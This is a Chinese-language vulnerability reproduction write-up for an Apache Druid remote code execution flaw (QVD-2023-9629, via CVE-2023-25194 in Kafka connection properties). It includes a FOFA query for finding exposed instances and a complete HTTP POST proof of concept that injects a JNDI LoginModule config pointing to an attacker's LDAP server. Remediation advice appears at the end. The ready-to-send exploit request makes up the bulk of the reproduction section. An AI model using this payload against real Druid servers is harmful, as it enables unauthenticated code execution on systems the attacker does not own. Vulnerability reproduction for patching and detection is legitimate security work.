Apache Druid RCE漏洞复现(QVD-2023-9629)

0x01 产品简介

   Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。

0x02 漏洞概述

在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)

0x03 影响范围

影响版本

0.19.0 <= Apache Druid <= 25.0.0

不受影响版本

Apache Druid >= 26.0.0(修复版本尚未正式发布)

0x04 复现环境

FOFA语法:title="Apache Druid"

本次复现版本为:24.0.1 

0x05 漏洞复现

访问漏洞环境

 填入任意字符,点击apply,burp抓包

POC:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 1437
Connection: close

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"1.1.1.1:9092",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://x.x.x.x" useFirstPass="true" serviceName="x" debug="true" group.provider.url="xxx";"
            },
            "topic":"any",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\s\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

修改请求包,user.provider.url处填写你的恶意ldap服务url

利用DNSlog验证漏洞是否存在

 漏洞存在

 0x06 修复建议

  安全更新

目前Apache Druid官方已临时修复了此漏洞,但尚未正式发布新版本,用户可下载源码编译使用。

用户可持续关注Apache Druid官方新版本发布,并及时更新。

参考:https://github.com/apache/druid/tree/26.0.0

   缓解措施

1、为Apache Druid 开启认证配置。

详情请见:https://druid.apache.org/docs/latest/development/extensions-core/druid-basic-security.html

2、在业务允许的情况下将Apache Druid移至内网。